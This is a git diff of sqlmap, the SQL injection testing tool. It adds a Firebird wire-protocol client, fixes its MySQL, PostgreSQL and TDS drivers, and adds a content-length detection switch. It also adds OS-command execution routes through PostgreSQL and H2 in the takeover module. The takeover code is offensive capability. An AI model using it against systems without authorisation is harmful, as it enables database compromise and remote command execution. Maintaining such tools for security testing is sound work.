+ for c in reversed(bytearray(b)):
+ n = (n << 8) | c
+ return n
+
+def _le_signed(b):
+ n = _le(b) # info-buffer scalars are little-endian; scale is signed (usually negative)
+ if b and (bytearray(b)[-1] & 0x80):
+ n -= 1 << (8 * len(b))
+ return n
+
+def _b2i_signed(b):
+ n = _b2l(b)
+ if bytearray(b) and bytearray(b)[0] & 0x80:
+ n -= 1 << (8 * len(b))
+ return n
+
+def _scaled(n, scale):
+ # integer n represents n * 10**scale (scale <= 0); render as an exact decimal string
+ if scale >= 0:
+ return str(n * (10 ** scale))
+ digits = "%0*d" % (-scale + 1, abs(n))
+ return ("-" if n < 0 else "") + digits[:scale] + "." + digits[scale:]
+
+_EPOCH_DAYS = datetime.date(1858, 11, 17).toordinal()
+
+def _decode_date(raw):
+ return datetime.date.fromordinal(_EPOCH_DAYS + struct.unpack("!i", raw)[0])
+
+def _decode_time(raw):
+ n = struct.unpack("!I", raw)[0]
+ s, frac = divmod(n, 10000)
+ return datetime.time(s // 3600, (s // 60) % 60, s % 60, frac * 100)
+
+class _Column(object):
+ __slots__ = ("name", "sqltype", "subtype", "scale", "length")
+
+ def io_length(self):
+ return self.length if self.sqltype == _SQL_TEXT else _SQL_TYPE_LENGTH[self.sqltype]
+
+class Cursor(object):
+ def __init__(self, connection):
+ self.connection = connection
+ self.description = None
+ self.rowcount = -1
+ self._rows = []
+ self._pos = 0
+
+ def execute(self, query, params=None):
+ if params is not None:
+ raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string")
+ self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0
+ self.description, self._rows = self.connection._query(query)
+ self.rowcount = len(self._rows)
+ return self
+
+ def fetchall(self):
+ retVal = self._rows[self._pos:]
+ self._pos = len(self._rows)
+ return retVal
+
+ def fetchone(self):
+ if self._pos >= len(self._rows):
+ return None
+ retVal = self._rows[self._pos]
+ self._pos += 1
+ return retVal
+
+ def close(self):
+ self._rows = []
+
+class Connection(object):
+ def __init__(self, wire, filename, user, password):
+ self._wire = wire
+ self._filename = filename
+ self._user = user
+ self._password = password
+ self._db_handle = None
+ self._trans_handle = None
+
+ def cursor(self):
+ return Cursor(self)
+
+ def commit(self):
+ if self._trans_handle is not None:
+ self._send(_pack_int(_op_commit_retaining) + _pack_int(self._trans_handle))
+ self._response()
+
+ def rollback(self):
+ if self._trans_handle is not None:
+ self._send(_pack_int(_op_rollback_retaining) + _pack_int(self._trans_handle))
+ self._response()
+
+ def close(self):
+ try:
+ if self._db_handle is not None:
+ self._send(_pack_int(_op_detach) + _pack_int(self._db_handle))
+ self._response()
+ except Exception:
+ pass
+ self._wire.close()
+
+ # ---- wire helpers ----
+
+ def _send(self, data):
+ self._wire.send(data)
+
+ def _response(self):
+ op = self._wire.recv_int()
+ while op == _op_dummy:
+ op = self._wire.recv_int()
+ if op != _op_response:
+ raise OperationalError("unexpected Firebird operation %d" % op)
+ return self._parse_response()
+
+ def _parse_response(self):
+ head = self._wire.recv(16)
+ handle = struct.unpack("!i", head[:4])[0]
+ object_id = head[4:12]
+ buf = self._wire.recv(struct.unpack("!i", head[12:16])[0], align=True)
+ self._check_status()
+ return handle, object_id, buf
+
+ def _check_status(self):
+ gds, message = set(), ""
+ n = self._wire.recv_int()
+ while n != _isc_arg_end:
+ if n == _isc_arg_gds:
+ gds_code = self._wire.recv_int()
+ if gds_code:
+ gds.add(gds_code)
+ elif n == _isc_arg_number:
+ message += " %d" % self._wire.recv_int()
+ elif n in (_isc_arg_string, _isc_arg_interpreted, _isc_arg_sql_state):
+ s = self._wire.recv(self._wire.recv_int(), align=True)
+ if n != _isc_arg_sql_state:
+ message += " " + s.decode("utf-8", "replace")
+ n = self._wire.recv_int()
+ if gds:
+ message = ("(remote) firebird error %s%s" % (sorted(gds), message)).strip()
+ if gds & _GDS_INTEGRITY:
+ raise IntegrityError(message)
+ if gds & _GDS_DATA:
+ raise DataError(message)
+ if _GDS_WARNING not in gds:
+ raise OperationalError(message)
+
+ # ---- query ----
+
+ def _query(self, query):
+ try:
+ return self._run(query)
+ except (struct.error, IndexError, ValueError, KeyError) as ex:
+ raise InterfaceError("malformed server response: %s" % ex)
+
+ def _run(self, query):
+ qbytes = query.encode("utf-8")
+ self._send(_pack_int(_op_allocate_statement) + _pack_int(self._db_handle))
+ stmt = self._response()[0]
+
+ desc_items = bytes(bytearray([_isc_info_sql_stmt_type])) + _INFO_SQL_SELECT_DESCRIBE_VARS
+ self._send(_pack_int(_op_prepare_statement) + _pack_int(self._trans_handle) + _pack_int(stmt) +
+ _pack_int(3) + _pack_bytes(qbytes) + _pack_bytes(desc_items) + _pack_int(1024))
+ buf = self._response()[2]
+ stmt_type, columns = self._parse_describe(stmt, buf)
+
+ exec_msg = (_pack_int(_op_execute) + _pack_int(stmt) + _pack_int(self._trans_handle) +
+ _pack_bytes(b"") + _pack_int(0) + _pack_int(0) + _pack_int(0))
+ self._send(exec_msg)
+ self._response()
+
+ description, rows = None, []
+ if stmt_type == _isc_info_sql_stmt_select and columns:
+ description = [(c.name, c.sqltype, None, None, None, None, None) for c in columns]
+ rows = self._fetch(stmt, columns)
+ self._send(_pack_int(_op_free_statement) + _pack_int(stmt) + _pack_int(_DSQL_drop))
+ self._response()
+ return description, rows
+
+ def _parse_describe(self, stmt, buf):
+ stmt_type, columns = None, []
+ i = 0
+ while i < len(buf):
+ if bytearray(buf[i:i + 3]) == bytearray([_isc_info_sql_stmt_type, 4, 0]):
+ stmt_type = _le(buf[i + 3:i + 7])
+ i += 7
+ elif bytearray(buf[i:i + 2]) == bytearray([_isc_info_sql_select, _isc_info_sql_describe_vars]):
+ i += 2
+ ln = _le(buf[i:i + 2]); i += 2
+ count = _le(buf[i:i + ln]); i += ln
+ columns = [_Column() for _ in range(count)]
+ next_index = self._parse_items(buf[i:], columns)
+ while next_index > 0: # describe buffer truncated: request the remaining columns
+ self._send(_pack_int(_op_info_sql) + _pack_int(stmt) + _pack_int(0) + _pack_bytes(
+ bytes(bytearray([_isc_info_sql_sqlda_start, 2])) + struct.pack("> 8]
+ for c in columns:
+ t = c.sqltype
+ if t == _SQL_VARYING:
+ blr += [37, c.length & 0xff, c.length >> 8]
+ elif t == _SQL_TEXT:
+ blr += [14, c.length & 0xff, c.length >> 8]
+ elif t == _SQL_LONG:
+ blr += [8, c.scale]
+ elif t == _SQL_SHORT:
+ blr += [7, c.scale]
+ elif t == _SQL_INT64:
+ blr += [16, c.scale]
+ elif t == _SQL_INT128:
+ blr += [26, c.scale]
+ else:
+ blr += _SQL_TYPE_BLR[t]
+ blr += [7, 0]
+ blr += [255, 76]
+ return bytes(bytearray((256 + b) if b < 0 else b for b in blr))
+
+ def _fetch(self, stmt, columns):
+ blr = self._calc_blr(columns)
+ nbytes = (len(columns) + 7) // 8
+ blob_cols = [i for i, c in enumerate(columns) if c.sqltype == _SQL_BLOB]
+ rows = []
+ more = True
+ while more:
+ self._send(_pack_int(_op_fetch) + _pack_int(stmt) + _pack_bytes(blr) + _pack_int(0) + _pack_int(400))
+ op = self._wire.recv_int()
+ while op == _op_dummy:
+ op = self._wire.recv_int()
+ if op != _op_fetch_response:
+ if op == _op_response:
+ self._parse_response()
+ raise OperationalError("unexpected Firebird operation %d during fetch" % op)
+ status = self._wire.recv_int()
+ count = self._wire.recv_int()
+ while count:
+ null_bitmap = _le(self._wire.recv(nbytes, align=True))
+ row = []
+ for i, col in enumerate(columns):
+ if null_bitmap & (1 << i):
+ row.append(None)
+ continue
+ io = col.io_length()
+ ln = self._wire.recv_int() if io < 0 else io
+ raw = self._wire.recv(ln, align=True)
+ # blob columns yield an 8-byte blob id; resolve AFTER the fetch batch is fully drained
+ # (a blob sub-request mid-batch would interleave with the still-streaming rows and desync)
+ row.append(raw if col.sqltype == _SQL_BLOB else self._decode(col, raw))
+ rows.append(row)
+ op = self._wire.recv_int()
+ status = self._wire.recv_int()
+ count = self._wire.recv_int()
+ more = status != 100
+ for i in blob_cols:
+ for row in rows:
+ if row[i] is not None:
+ row[i] = self._read_blob(row[i], columns[i].subtype)
+ return [tuple(row) for row in rows]
+
+ def _decode(self, col, raw):
+ t = col.sqltype
+ if t == _SQL_TEXT:
+ return self._decode_text(raw, rstrip=True)
+ if t == _SQL_VARYING:
+ return self._decode_text(raw, rstrip=False)
+ if t in (_SQL_SHORT, _SQL_LONG, _SQL_INT64, _SQL_INT128):
+ n = _b2i_signed(raw)
+ return _scaled(n, col.scale) if col.scale else str(n)
+ if t == _SQL_FLOAT:
+ return repr(struct.unpack("!f", raw)[0])
+ if t == _SQL_DOUBLE:
+ return repr(struct.unpack("!d", raw)[0])
+ if t == _SQL_BOOLEAN:
+ return "true" if bytearray(raw)[0] else "false"
+ if t == _SQL_DATE:
+ return "%s" % _decode_date(raw)
+ if t == _SQL_TIME:
+ return "%s" % _decode_time(raw)
+ if t == _SQL_TIMESTAMP:
+ return "%s %s" % (_decode_date(raw[:4]), _decode_time(raw[4:]))
+ if t == _SQL_BLOB:
+ return self._read_blob(raw, col.subtype)
+ return raw # unknown/decimal-float type -> raw bytes (sqlmap hex-encodes)
+
+ def _decode_text(self, raw, rstrip):
+ try:
+ s = raw.decode("utf-8")
+ except UnicodeDecodeError:
+ return raw # OCTETS / binary text -> bytes (sqlmap hex-encodes)
+ return s.rstrip(" ") if rstrip else s
+
+ def _read_blob(self, blob_id, subtype):
+ self._send(_pack_int(_op_open_blob2) + _pack_int(0) + _pack_int(self._trans_handle) + blob_id)
+ blob_handle = self._response()[0]
+ data = b""
+ while True:
+ self._send(_pack_int(_op_get_segment) + _pack_int(blob_handle) + _pack_int(1024) + _pack_int(0))
+ seg_status, _, buf = self._response()
+ buf = bytearray(buf)
+ j = 0
+ while j < len(buf):
+ seg_len = _le(buf[j:j + 2])
+ data += bytes(buf[j + 2:j + 2 + seg_len])
+ j += 2 + seg_len
+ if seg_status == 2: # last segment
+ break
+ self._send(_pack_int(_op_close_blob) + _pack_int(blob_handle))
+ self._response()
+ if subtype == 1:
+ try:
+ return data.decode("utf-8")
+ except UnicodeDecodeError:
+ return data
+ return data
+
+def _uid(user, plugin, plugin_list, public_key, wire_crypt):
+ def param(k, v):
+ if k != _CNCT_specific_data:
+ return bytes(bytearray([k, len(v)])) + v
+ out, i = b"", 0
+ while len(v) > 254:
+ out += bytes(bytearray([k, 255, i])) + v[:254]
+ v = v[254:]
+ i += 1
+ return out + bytes(bytearray([k, len(v) + 1, i])) + v
+
+ try:
+ os_user = os.environ.get("USER", "") or os.environ.get("USERNAME", "")
+ except Exception:
+ os_user = ""
+ specific = _hex(_minbe(public_key))
+ r = param(_CNCT_login, user.encode("utf-8"))
+ r += param(_CNCT_plugin_name, plugin)
+ r += param(_CNCT_plugin_list, plugin_list)
+ r += param(_CNCT_specific_data, specific)
+ r += param(_CNCT_client_crypt, b"\x01\x00\x00\x00" if wire_crypt else b"\x00\x00\x00\x00")
+ r += param(_CNCT_user, os_user.encode("utf-8"))
+ r += param(_CNCT_host, socket.gethostname().encode("utf-8", "replace"))
+ r += param(_CNCT_user_verification, b"")
+ return r
+
+def _hex(b):
+ return "".join("%02x" % c for c in bytearray(b)).encode("ascii")
+
+# protocol version tuples (version, arch=Generic 1, min_type=0, max_type=batch_send 3, weight); max_type is
+# deliberately capped at 3 (not lazy_send 5) so every operation gets an immediate response (no deferred handles)
+_PROTOCOLS = ("0000000a00000001000000000000000300000002",
+ "ffff800b00000001000000000000000300000004",
+ "ffff800c00000001000000000000000300000006",
+ "ffff800d00000001000000000000000300000008",
+ "ffff800e0000000100000000000000030000000a",
+ "ffff800f0000000100000000000000030000000c",
+ "ffff80100000000100000000000000030000000e",
+ "ffff801100000001000000000000000300000010")
+
+def connect(host=None, port=3050, user=None, password=None, database=None, connect_timeout=None, **kwargs):
+ user = user or "SYSDBA"
+ password = password or ""
+ filename = (database or "").encode("utf-8")
+ plugin, plugin_list = b"Srp256", b"Srp256,Srp,Legacy_Auth"
+
+ try:
+ sock = socket.create_connection((host or "localhost", int(port or 3050)), timeout=connect_timeout)
+ sock.settimeout(None)
+ except (socket.error, socket.timeout) as ex:
+ raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex))
+
+ wire = _Wire(sock)
+ try:
+ public_key, private_key = _srp_client_seed()
+ packet = (_pack_int(_op_connect) + _pack_int(_op_attach) + _pack_int(3) + _pack_int(1) +
+ _pack_bytes(filename) + _pack_int(len(_PROTOCOLS)) +
+ _pack_bytes(_uid(user, plugin, plugin_list, public_key, True)))
+ for p in _PROTOCOLS:
+ packet += _unhex(p)
+ wire.send(packet)
+
+ _authenticate(wire, user, password, public_key, private_key)
+ connection = Connection(wire, filename, user, password)
+ _attach(connection, wire, user)
+ except (DatabaseError, InterfaceError):
+ wire.close()
+ raise
+ except Exception as ex:
+ wire.close()
+ raise OperationalError("Firebird login failed (%s)" % ex)
+ return connection
+
+def _unhex(s):
+ return bytes(bytearray(int(s[i:i + 2], 16) for i in range(0, len(s), 2)))
+
+def _normalize_user(user):
+ if len(user) >= 2 and user[0] == '"' and user[-1] == '"':
+ return user[1:-1].replace('""', '"')
+ return user.upper()
+
+def _authenticate(wire, user, password, public_key, private_key):
+ op = wire.recv_int()
+ while op == _op_dummy:
+ op = wire.recv_int()
+ if op == _op_reject:
+ raise OperationalError("Firebird connection rejected")
+ if op == _op_response:
+ Connection(wire, b"", user, password)._parse_response() # will raise the server error
+ raise OperationalError("Firebird connection rejected")
+
+ wire.recv(12) # accept block: protocol version / architecture / type (not needed once lazy-send is off)
+ if op == _op_accept:
+ return b"" # plaintext, no encryption negotiated
+
+ data = wire.recv_bytes()
+ plugin_name = wire.recv_bytes()
+ wire.recv_int() # is_authenticated
+ wire.recv_bytes() # keys
+ if plugin_name not in (b"Srp256", b"Srp"):
+ raise NotSupportedError("unsupported Firebird auth plugin %r" % plugin_name)
+ if not data:
+ raise OperationalError("Firebird server sent no SRP challenge")
+
+ salt_len = _le(data[:2])
+ salt = data[2:2 + salt_len]
+ # the server sends B as a hex integer, dropping a leading zero nibble when its top nibble is 0 (odd-length
+ # hex ~5% of the time) - parse it as an integer, which is length-agnostic (byte-pairing would corrupt it)
+ server_public = int(data[4 + salt_len:].decode("ascii"), 16)
+ hash_algo = hashlib.sha256 if plugin_name == b"Srp256" else hashlib.sha1
+ proof, session_key = _srp_client_proof(_normalize_user(user).encode("utf-8"),
+ password.encode("utf-8"), salt,
+ public_key, server_public, private_key, hash_algo)
+
+ wire.send(_pack_int(_op_cont_auth) + _pack_bytes(_hex(proof)) + _pack_bytes(plugin_name) +
+ _pack_bytes(b"Srp256,Srp,Legacy_Auth") + _pack_bytes(b""))
+ buf = _read_response(wire, user, password)
+
+ enc_plugin, nonce = _guess_wire_crypt(buf)
+ if not (enc_plugin and session_key):
+ raise NotSupportedError("Firebird server did not offer a supported wire-crypt plugin")
+ wire.send(_pack_int(_op_crypt) + _pack_bytes(enc_plugin) + _pack_bytes(b"Symmetric"))
+ if enc_plugin in (b"ChaCha", b"ChaCha64"):
+ k = hashlib.sha256(session_key).digest()
+ wire.set_ciphers(_ChaCha20(k, nonce), _ChaCha20(k, nonce))
+ elif enc_plugin == b"Arc4":
+ wire.set_ciphers(_ARC4(session_key), _ARC4(session_key))
+ else:
+ raise NotSupportedError("unsupported Firebird wire-crypt plugin %r" % enc_plugin)
+ _read_response(wire, user, password) # first encrypted message
+ return session_key
+
+def _read_response(wire, user, password):
+ # a bare op_response reader used during the login handshake (before a Connection exists)
+ op = wire.recv_int()
+ while op == _op_dummy:
+ op = wire.recv_int()
+ if op == _op_cont_auth:
+ raise OperationalError("Firebird authentication failed")
+ if op != _op_response:
+ raise OperationalError("unexpected Firebird operation %d during login" % op)
+ return Connection(wire, b"", user, password)._parse_response()[2]
+
+def _attach(connection, wire, user):
+ dpb = bytearray([_isc_dpb_version1])
+ dpb += bytearray([_isc_dpb_lc_ctype, 4]) + bytearray(b"UTF8")
+ ub = user.encode("utf-8")
+ dpb += bytearray([_isc_dpb_user_name, len(ub)]) + bytearray(ub)
+ dpb += bytearray([_isc_dpb_process_id, 4]) + bytearray(struct.pack(" '42'
elif binary[i]:
row.append(value) # keep binary/BLOB columns as raw bytes (sqlmap hex-encodes them)
else:
@@ -327,10 +336,15 @@ def connect(host=None, port=3306, user=None, password=None, database=None, conne
raise OperationalError("handshake failed (%s)" % ex)
connection = Connection(sock)
- try:
- connection._query("SET autocommit=1") # so DML persists even if the server default is autocommit=0
- except Exception:
- pass
+ # SET NAMES: reset collation_connection to the server's default (the fixed handshake collation 45 =
+ # utf8mb4_general_ci otherwise clashes with MySQL 8's utf8mb4_0900_ai_ci columns -> 'illegal mix of
+ # collations' 1271 in a UNION/CONCAT); results stay utf8mb4 so the utf-8 decode is unchanged. autocommit=1
+ # so DML persists even if the server default is autocommit=0. Both best-effort (one-time, at connect).
+ for setup in ("SET NAMES utf8mb4", "SET autocommit=1"):
+ try:
+ connection._query(setup)
+ except Exception:
+ pass
return connection
def _safe_close(sock):
diff --git a/extra/dbwire/postgres.py b/extra/dbwire/postgres.py
index 031ec6b3d15..9c06bd79e4e 100644
--- a/extra/dbwire/postgres.py
+++ b/extra/dbwire/postgres.py
@@ -8,7 +8,7 @@
"""
Minimal pure-python PostgreSQL frontend/backend protocol v3 client (stdlib only).
-Covers the whole PostgreSQL-wire family (PostgreSQL, CockroachDB, CrateDB, Redshift, Greenplum, ...).
+Covers the whole PostgreSQL-wire family (PostgreSQL, CockroachDB, CrateDB, Redshift, Greenplum, Vertica).
Auth: trust / cleartext / MD5 / SCRAM-SHA-256 (modern default). Uses the *simple query* protocol, whose
per-message implicit transaction auto-commits - so it is immune to the aborted-transaction poisoning and
commit-before-fetch pitfalls that bite the stateful native drivers. Binary (bytea) values arrive as the
@@ -32,6 +32,28 @@
_PROTOCOL_VERSION = 196608 # 3.0
_MAX_MESSAGE_LENGTH = 0x40000000 # 1 GB - guard against a hostile/corrupt length triggering an unbounded read
+_OID_BYTEA = 17 # bytea arrives as the server's text form; decode to bytes so it hexes like the native driver
+
+def _decode_bytea(raw):
+ # PG text output: modern 'hex' = b'\\x'; legacy 'escape' = octal \ooo + literal bytes
+ if raw[:2] == b"\\x":
+ try:
+ return binascii.unhexlify(raw[2:])
+ except (binascii.Error, ValueError):
+ return raw.decode("utf-8", "replace")
+ src, out, i, n = bytearray(raw), bytearray(), 0, len(raw)
+ while i < n:
+ if src[i] == 0x5c and i + 1 < n: # backslash
+ nxt = src[i + 1]
+ if nxt == 0x5c:
+ out.append(0x5c); i += 2
+ elif 0x30 <= nxt <= 0x37 and i + 3 < n: # \ooo octal
+ out.append(((nxt - 48) << 6) | ((src[i + 2] - 48) << 3) | (src[i + 3] - 48)); i += 4
+ else:
+ out.append(nxt); i += 2
+ else:
+ out.append(src[i]); i += 1
+ return bytes(out)
# SQLSTATE class (first 2 chars) -> DB-API exception, so callers can distinguish (mirrors psycopg2)
_SQLSTATE_CLASS = {
@@ -114,6 +136,7 @@ def close(self):
class Connection(object):
def __init__(self, sock):
self._sock = sock
+ self._txn_status = b"I" # last ReadyForQuery transaction status: I(dle) / T(ransaction) / E(rror)
def cursor(self):
return Cursor(self)
@@ -134,7 +157,19 @@ def close(self):
except Exception:
pass
+ def _clear_aborted(self):
+ # a prior statement left an aborted transaction block ('E'): every further statement errors with
+ # 25P02 until it is rolled back. Clear it so the reused connection recovers (psycopg2 rollback semantics).
+ _send(self._sock, b"Q", b"ROLLBACK\x00")
+ while True:
+ mtype, payload = _read_message(self._sock)
+ if mtype == b"Z":
+ self._txn_status = payload[:1] or b"I"
+ break
+
def _simple_query(self, query):
+ if self._txn_status == b"E":
+ self._clear_aborted()
_send(self._sock, b"Q", query.encode("utf-8") + b"\x00")
description, rows, rowcount, error = None, [], -1, None
@@ -154,7 +189,7 @@ def _simple_query(self, query):
elif mtype == b"D": # DataRow
(count,) = struct.unpack("!H", payload[:2])
off, row = 2, []
- for _ in range(count):
+ for col in range(count):
(vlen,) = struct.unpack("!i", payload[off:off + 4])
off += 4
if vlen == -1:
@@ -162,8 +197,15 @@ def _simple_query(self, query):
else:
if off + vlen > len(payload):
raise InterfaceError("truncated DataRow")
- row.append(payload[off:off + vlen].decode("utf-8", "replace"))
+ raw = payload[off:off + vlen]
off += vlen
+ if description and col < len(description) and description[col][1] == _OID_BYTEA:
+ row.append(_decode_bytea(raw)) # bytes so sqlmap hex-encodes it (like the native driver)
+ else:
+ try:
+ row.append(raw.decode("utf-8"))
+ except UnicodeDecodeError:
+ row.append(raw) # non-UTF-8 (e.g. a SQL_ASCII db): keep bytes (hex-encoded), not lossy U+FFFD
rows.append(tuple(row))
elif mtype == b"C": # CommandComplete ("SELECT 3", "INSERT 0 1", ...)
tag = payload[:-1].decode("utf-8", "replace").split()
@@ -173,7 +215,8 @@ def _simple_query(self, query):
_send(self._sock, b"f", b"COPY FROM STDIN is not supported\x00") # CopyFail
elif mtype == b"E": # ErrorResponse
error = _error_message(payload)
- elif mtype == b"Z": # ReadyForQuery (end of response)
+ elif mtype == b"Z": # ReadyForQuery (end of response); payload byte = transaction status
+ self._txn_status = payload[:1] or b"I"
break
# ParameterStatus(S)/NoticeResponse(N)/EmptyQueryResponse(I)/CopyData(d)/CopyDone(c)/... ignored
except (struct.error, IndexError, ValueError) as ex:
diff --git a/extra/dbwire/tds.py b/extra/dbwire/tds.py
index 28ec16d0416..fe4a4dbb6ab 100644
--- a/extra/dbwire/tds.py
+++ b/extra/dbwire/tds.py
@@ -131,7 +131,10 @@ def _login7(sock, user, password, database, hostname="dbwire", appname="dbwire")
header += struct.pack(" (kb.matchRatio or 0):
kb.matchRatio = _
@@ -575,7 +580,7 @@ def genCmpPayload():
injectable = True
- elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.titles, kb.nullConnection)):
+ elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.lengths, conf.titles, kb.nullConnection)):
originalSet = set(getFilteredPageContent(kb.pageTemplate, True, "\n").split("\n"))
trueSet = set(getFilteredPageContent(truePage, True, "\n").split("\n"))
falseSet = set(getFilteredPageContent(falsePage, True, "\n").split("\n"))
@@ -613,7 +618,7 @@ def genCmpPayload():
injectable = False
continue
- if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.titles, kb.nullConnection)):
+ if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.lengths, conf.titles, kb.nullConnection)):
if all((falseCode, trueCode)) and falseCode != trueCode and trueCode != kb.heuristicCode:
suggestion = conf.code = trueCode
@@ -805,12 +810,14 @@ def genCmpPayload():
injection.data[stype].comment = comment
injection.data[stype].templatePayload = templatePayload
injection.data[stype].matchRatio = kb.matchRatio
+ injection.data[stype].trueLength = kb.trueLength
injection.data[stype].trueCode = trueCode
injection.data[stype].falseCode = falseCode
injection.conf.textOnly = conf.textOnly
injection.conf.titles = conf.titles
injection.conf.code = conf.code
+ injection.conf.lengths = conf.lengths
injection.conf.string = conf.string
injection.conf.notString = conf.notString
injection.conf.regexp = conf.regexp
diff --git a/lib/core/common.py b/lib/core/common.py
index 66e4140ed92..ad9f5564c9f 100644
--- a/lib/core/common.py
+++ b/lib/core/common.py
@@ -3746,6 +3746,8 @@ def initTechnique(technique=None):
if data:
kb.pageTemplate, kb.errorIsNone = getPageTemplate(data.templatePayload, kb.injection.place)
kb.matchRatio = data.matchRatio
+ kb.trueLength = data.get("trueLength") # NOTE: absent in sessions stored before the '--lengths' switch was introduced
+
kb.negativeLogic = (technique == PAYLOAD.TECHNIQUE.BOOLEAN) and (data.where == PAYLOAD.WHERE.NEGATIVE)
# Restoring stored conf options
diff --git a/lib/core/dicts.py b/lib/core/dicts.py
index b23f6e321be..2387a477270 100644
--- a/lib/core/dicts.py
+++ b/lib/core/dicts.py
@@ -270,6 +270,9 @@
DBMS.CLICKHOUSE: "clickhouse",
DBMS.MONETDB: "monetdb",
DBMS.PRESTO: "presto",
+ DBMS.FIREBIRD: "firebird",
+ DBMS.VERTICA: "postgres", # Vertica speaks a PostgreSQL-v3-derived wire protocol (trust/cleartext/md5 auth)
+ DBMS.CUBRID: "cubrid",
}
# Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/
diff --git a/lib/core/enums.py b/lib/core/enums.py
index 0e4798e3388..e74f9299749 100644
--- a/lib/core/enums.py
+++ b/lib/core/enums.py
@@ -117,6 +117,7 @@ class FORK(object):
DORIS = "Doris"
STARROCKS = "StarRocks"
TRINO = "Trino"
+ DUCKDB = "DuckDB"
class CUSTOM_LOGGING(object):
PAYLOAD = 9
diff --git a/lib/core/option.py b/lib/core/option.py
index d61134aa5ab..c808d2b7b71 100644
--- a/lib/core/option.py
+++ b/lib/core/option.py
@@ -2264,6 +2264,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.matchRatio = None
kb.maxConnectionsFlag = False
+ kb.trueLength = None
kb.mergeCookies = None
kb.multiThreadMode = False
kb.multipleCtrlC = False
diff --git a/lib/core/settings.py b/lib/core/settings.py
index 814a1a1c497..b1a69bbd82b 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
from thirdparty import six
# sqlmap version (...)
-VERSION = "1.10.7.87"
+VERSION = "1.10.7.102"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -368,7 +368,7 @@
# Note: () + ()
MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb", "percona", "drizzle", "doris", "starrocks")
-PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb", "amazon redshift", "redshift", "greenplum", "yellowbrick", "enterprisedb", "yugabyte", "yugabytedb", "opengauss")
+PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb", "amazon redshift", "redshift", "greenplum", "yellowbrick", "enterprisedb", "yugabyte", "yugabytedb", "opengauss", "duckdb")
ORACLE_ALIASES = ("oracle", "orcl", "ora", "or", "dm8")
SQLITE_ALIASES = ("sqlite", "sqlite3")
ACCESS_ALIASES = ("microsoft access", "msaccess", "access", "jet")
diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py
index c1e0f9ed9b7..c30520f6a06 100644
--- a/lib/parse/cmdline.py
+++ b/lib/parse/cmdline.py
@@ -406,6 +406,9 @@ def cmdLineParser(argv=None):
detection.add_argument("--code", dest="code", type=int,
help="HTTP code to match when query is evaluated to True")
+ detection.add_argument("--lengths", dest="lengths", action="store_true",
+ help="Compare pages based only on their content length")
+
detection.add_argument("--smart", dest="smart", action="store_true",
help="Perform thorough tests only if positive heuristic(s)")
diff --git a/lib/request/comparison.py b/lib/request/comparison.py
index 30beafabc70..89133835362 100644
--- a/lib/request/comparison.py
+++ b/lib/request/comparison.py
@@ -114,6 +114,10 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
if conf.code:
return conf.code == code
+ # Response content length to match when the query is True
+ if conf.lengths:
+ return len(page or "") == kb.trueLength
+
seqMatcher = threadData.seqMatcher
seqMatcher.set_seq1(kb.pageTemplate)
diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py
index cb3e8a58bcb..2ec4b4c9377 100644
--- a/lib/takeover/abstraction.py
+++ b/lib/takeover/abstraction.py
@@ -52,12 +52,18 @@ def execCmd(self, cmd, silent=False):
elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail):
self.webBackdoorRunCmd(cmd)
+ elif Backend.isDbms(DBMS.PGSQL) and self.checkPlExec():
+ self.plExecCmd(cmd, silent=silent)
+
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
self.udfExecCmd(cmd, silent=silent)
elif Backend.isDbms(DBMS.MSSQL):
self.xpCmdshellExecCmd(cmd, silent=silent)
+ elif Backend.isDbms(DBMS.H2):
+ self.h2ExecCmd(cmd, silent=silent)
+
else:
errMsg = "Feature not yet implemented for the back-end DBMS"
raise SqlmapUnsupportedFeatureException(errMsg)
@@ -71,12 +77,18 @@ def evalCmd(self, cmd, first=None, last=None):
elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail):
retVal = self.webBackdoorRunCmd(cmd)
+ elif Backend.isDbms(DBMS.PGSQL) and self.checkPlExec():
+ retVal = self.plExecCmd(cmd)
+
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
retVal = self.udfEvalCmd(cmd, first, last)
elif Backend.isDbms(DBMS.MSSQL):
retVal = self.xpCmdshellEvalCmd(cmd, first, last)
+ elif Backend.isDbms(DBMS.H2):
+ retVal = self.h2EvalCmd(cmd, first, last)
+
else:
errMsg = "Feature not yet implemented for the back-end DBMS"
raise SqlmapUnsupportedFeatureException(errMsg)
@@ -215,7 +227,7 @@ def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False):
logger.warning(warnMsg)
- if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
+ if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and (self.checkCopyExec() or self.checkPlExec()):
success = True
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
success = self.udfInjectSys()
